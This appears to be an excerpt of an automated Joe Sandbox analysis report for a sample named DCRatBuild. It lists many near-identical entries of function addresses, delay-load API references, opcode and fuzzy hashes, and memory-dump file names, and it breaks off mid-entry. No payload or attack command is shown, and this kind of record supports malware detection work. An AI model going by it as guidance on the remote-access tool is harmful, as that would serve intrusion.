API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 54d03a80ac4a7c7e55063d3738b1975890ece6085c6410ba3420d3f41cacaeaa
Instruction ID: 61599233d7d9590aa4c50efcb3bf5bc04fa6276c75b563075f818052850829f8
Opcode Fuzzy Hash: 54d03a80ac4a7c7e55063d3738b1975890ece6085c6410ba3420d3f41cacaeaa
Instruction Fuzzy Hash: F9D09E32144300BADA023B55CD06F0A7BA6FB88B05F004655B284740B18772AE21DF16

Uniqueness

Uniqueness Score: -1.00%

Function 008798BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,008797BE), ref: 008798C8

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 334cc958d0d09bc4afb8fe9b5e7e6413599e2e3e9bcd9e0ab8515fdd3ece4a4b
Instruction ID: fe1e0716b30a9074c94084f380f2630ec97ff703e964999d18c5c3855a8340d1
Opcode Fuzzy Hash: 334cc958d0d09bc4afb8fe9b5e7e6413599e2e3e9bcd9e0ab8515fdd3ece4a4b
Instruction Fuzzy Hash: 47C00234404605968E219A2598490A97722FA533A67B4D7E4D0ADC94A5C332CC97EA12

Uniqueness

Uniqueness Score: -1.00%

Function 0088E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0977ed3d721b09250d3f71d68ba065528191a44191afe6909c259d4b86706f24
Instruction ID: 208646052632298e5ed5234f2018d1d3b519c4493421aa3087a888d031c648dd
Opcode Fuzzy Hash: 0977ed3d721b09250d3f71d68ba065528191a44191afe6909c259d4b86706f24
Instruction Fuzzy Hash: 90B012D9358105BC310432891C07C3B120CF0C3B11330853FFC11C0981E840AD040933

Uniqueness

Uniqueness Score: -1.00%

Function 0088E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ff19af8448a2aa4b554bde0c8daaa365bd76b7debd57ed69c7759377d0c56c14
Instruction ID: c97d1d40fb6918d8f3dac6a7f23423d53d48529660d5b19aa54f638f7ae5be52
Opcode Fuzzy Hash: ff19af8448a2aa4b554bde0c8daaa365bd76b7debd57ed69c7759377d0c56c14
Instruction Fuzzy Hash: AFB012D935C10AAC3104738D1C07C3B120CF0C3B11330413FF815C0681E8406D040B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 120de78615a76024f880037dab2a637cdd631edc253d78828ed2245b565ebd99
Instruction ID: 3e437f564dd867cfa271075057aba9ff0bbd5c6b79f15a9b5e3fcaa828981b84
Opcode Fuzzy Hash: 120de78615a76024f880037dab2a637cdd631edc253d78828ed2245b565ebd99
Instruction Fuzzy Hash: EEB012D5358005AD310477491C07C3B121CF0C3B11330C13FFC15C0781E840AC080A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9f51d41c7ad79a9f71b5e5984c5f118ca21085bd864208db1a0e435d12288b14
Instruction ID: 7fc6dc1378f53c0bfda2f3c9458fd3a1d257dce9530b551935952728f3aa916b
Opcode Fuzzy Hash: 9f51d41c7ad79a9f71b5e5984c5f118ca21085bd864208db1a0e435d12288b14
Instruction Fuzzy Hash: 46B012E9398005AC310472491D07C3B128CF0C3B11330413FF815C0681FC406D050A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fcceaa17cfbe3eb1141ec854e3e20fe165dc4409a9aebf159736ced3aa546796
Instruction ID: d968a5f3087013c2b9660c1ce9a00cafea778c642e7813b1951f9b8c4fa9dce4
Opcode Fuzzy Hash: fcceaa17cfbe3eb1141ec854e3e20fe165dc4409a9aebf159736ced3aa546796
Instruction Fuzzy Hash: C9B012D5358005AD310473491D07C3B121CF0C2B11330813FF815C0781EC506D0D0A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 267e25f75cf0580a73f5aa4d1570fe7311769ef49d8e2208f96cbd2336ac588a
Instruction ID: 13d3df87b07d12fef6540e86f9c9718bb86067bd7fb52a65d6471e535a5c620c
Opcode Fuzzy Hash: 267e25f75cf0580a73f5aa4d1570fe7311769ef49d8e2208f96cbd2336ac588a
Instruction Fuzzy Hash: D6B012D5358145BD314473491C07C3B121CF0C2B11330823FF815C0781E8406C480A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 291cfd3736edcde4baa07b46180b11ee3386c93b626fb5d0cd56851d9c3e00d1
Instruction ID: 76ee370770adffbb83d714a1eb55e4e98f6f5d80f97a93efb20f0a9f6058ce7c
Opcode Fuzzy Hash: 291cfd3736edcde4baa07b46180b11ee3386c93b626fb5d0cd56851d9c3e00d1
Instruction Fuzzy Hash: FDB012E5358005FC310472491C07C3B120CF0C3F11330813FFC15C0681E840AD040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7894c99884204963ab68db1d48c29ea560cf6d1e896344184ea16f05a6c5f49c
Instruction ID: 800b9bdc84b22921b28ee2a8f18c34f38725454ed5ec6f6dea626d54c3a95ac7
Opcode Fuzzy Hash: 7894c99884204963ab68db1d48c29ea560cf6d1e896344184ea16f05a6c5f49c
Instruction Fuzzy Hash: F0B012E5358105FC314472491C07C3B120CF0C2F11330423FF815C0681E8406D440A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7eb150b104dcec5129fdabcfddca92b79dd2013eefd2bc9cf0206fd293c44ff5
Instruction ID: 7328260d80e043d0b6d6d25ce1a59679ffbf96f178ac5e6fda994772b86f60cf
Opcode Fuzzy Hash: 7eb150b104dcec5129fdabcfddca92b79dd2013eefd2bc9cf0206fd293c44ff5
Instruction Fuzzy Hash: 9FB012E5358006EC3104734A5C07C3B120CF0C2F11330413FF815C0681E8406D040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 865a59fd7cfabea985741e1fddb756b4612a8381012951f99dc9b850f9d08039
Instruction ID: 267342169c55d9fa134b4ff915731aeb9dce9f5132469f4b8ec2c8b6026248d7
Opcode Fuzzy Hash: 865a59fd7cfabea985741e1fddb756b4612a8381012951f99dc9b850f9d08039
Instruction Fuzzy Hash: 52B012E5358005EC310472491D07C3B120CF0C2F11330413FF815C0681EC406E050A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ad2a7e95e5192c8e286d6449a0aa9a2dd8770eedd298f01d2df455ae20460788
Instruction ID: 7d194658517c01ed7fdd31bbd3212f69d34ffd1a7213e65f9434d49fe3d433af
Opcode Fuzzy Hash: ad2a7e95e5192c8e286d6449a0aa9a2dd8770eedd298f01d2df455ae20460788
Instruction Fuzzy Hash: EBB012D5359045AC310472491C07C3F120DF0C3B11330813FFC15C0681E840EC040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d57739f90f66517873d0c405fdc77db1874ee5d0ad8879a5aba58fc37f56dfcf
Instruction ID: eec60d3dc24dca3126aa551b11386a332a5ec05dcbb4394fdb607be3d2464854
Opcode Fuzzy Hash: d57739f90f66517873d0c405fdc77db1874ee5d0ad8879a5aba58fc37f56dfcf
Instruction Fuzzy Hash: 47B012E5359145BC314473891C07C3F120DF0C2B11330423FF815C0681E840AC480A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3ca64b25fcddfda90f4a19402b7b0a016af743dd37929007f3cf7ca35509ba4e
Instruction ID: 3d202ab7336f0cbe787597bff946090cd1ac6131e3a86a8785147641366768d5
Opcode Fuzzy Hash: 3ca64b25fcddfda90f4a19402b7b0a016af743dd37929007f3cf7ca35509ba4e
Instruction Fuzzy Hash: 79B012D9398005AC310472591C07C3B124CF0C3B11330813FFD15C0681F840AC040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 24c0fc506574f09e88afcc19bc630a05fa477b90c9ba394cbf3476b3b15148ab
Instruction ID: 7eb7f62cc4d3fbdde947b015e86fb3ec51f53eaa5e4c1f45f8320f53452add9f
Opcode Fuzzy Hash: 24c0fc506574f09e88afcc19bc630a05fa477b90c9ba394cbf3476b3b15148ab
Instruction Fuzzy Hash: 69B012D5369046AC310473491C07C3F124DF4C2B11330413FF816C0681E840AC040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2bcb63a11adf85494d440a30b0f6487b34f5d0a77865a6305345510cb04efada
Instruction ID: 2df7945fa7d4c5903eae2d12de84b9c9a26c0d9ae2591345dacf966c14bca353
Opcode Fuzzy Hash: 2bcb63a11adf85494d440a30b0f6487b34f5d0a77865a6305345510cb04efada
Instruction Fuzzy Hash: E5B012E12580047D3104B2481D02C3B030CF5C1B10330C13FF614D1780D8450C0D0B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

